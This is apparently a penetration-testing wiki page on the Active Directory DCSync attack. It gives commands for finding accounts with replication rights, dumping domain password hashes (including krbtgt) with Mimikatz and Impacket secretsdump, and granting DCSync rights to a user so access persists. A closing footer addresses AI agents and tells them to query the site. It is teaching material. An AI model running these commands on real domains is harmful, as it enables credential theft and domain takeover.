# DCSync Attack

## Description

A DCSync attack is where an adversary impersonates a Domain Controller (DC) and requests replication changes from a specific DC. The DC in turn returns replication data to the adversary, which includes account hashes.

By default the following groups have permissions to perform this action:

* Administrators
* Domain Admins
* Enterprise Admins
* Domain Controllers

However, in an incorrectly configured environment it may be possible to hunt down users who have the required individual permissions without being in any of the aforementioned groups. These individual permissions are:

* Replicating Directory Changes
* Replicating Directory Changes All
* Replicating Directory Changes In Filtered Set

## Enumeration

The following commands can be used with `PowerView` to enumerate for users with the required rights.

```bash
Get-ObjectACL "DC=security,DC=local" -ResolveGUIDs | ? {
    ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')
}

# OR

Get-ObjectAcl -DistinguishedName "DC=Security,DC" -ResolveGUIDs | ?{($_.IdentityReference -match "studentx") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-1fa34c10a5d52b3ae18accdfd841f42663fab951%2Fimage.png?alt=media)

We can take the individual SID's and attempt to identify the related User Principal Names (UPN's).

{% tabs %}
{% tab title="Powershell AD Module" %}

```bash
Get-ADUser -Identity S-1-5-21-2543357152-2466851693-2862170513-1121
Get-ADGroup -Identity S-1-5-21-2543357152-2466851693-2862170513-527
```

{% endtab %}
{% endtabs %}

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-59226b8cb5452517ec2bcbd9df46f3364953fa21%2Fimage.png?alt=media)

**Using PowerView**

```bash
Get-ObjectAcl -Identity "dc=security,dc=local" -ResolveGUIDs | ? {$_.SecurityIdentifier -match "S-1-5-21-2543357152-2466851693-2862170513-1121"
```

**Using Wmic**

```bash
wmic useraccount get name,sid
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-eacbb50d9349261c212c5cf37ff60243bdc9eb98%2Fimage.png?alt=media)

## Exploitation

`Mimikatz` can be used to pull hashes from account.

{% hint style="info" %}
Mimikatz needs to be run as an account that can perform replication.
{% endhint %}

```bash
lsadump::dcsync /domain:<Domain> /user:<Users-Hash-To-Dump>
lsadump::dcsync /domain:security.local /user:new_admin
lsadump::dcsync /user:security\krbtgt"
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-6c3e62f3cbb185abd3e34926c9e0e5898b32a260%2Fimage.png?alt=media)

### Secretsdump.py

Impacket's secretsdumpy.py can be used to dump all domain hashes, providing the hash or password is known for an account with permission to perform replication.

```bash
sudo python2 secretsdump.py <Domain>/<User>:<Password>@<IP>
sudo python2 secretsdump.py security/Moe:'Password123!'@10.10.10.10
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-6904901e8e5144ecf8297b772fd2bdcbb82067c8%2Fimage.png?alt=media)

## Persistence

`PowerView` can be used to give a user object the DCSync rights for future exploitation.

```bash
Add-ObjectACL -TargetDistinguishedName "DC=Security,DC=local" -PrincipalSamAccountName 'Moe' -Rights DCSync
```

### References: <https://www.exploit-db.com/docs/48298>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/credential-dumping/dcsync/dcsync-attack.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
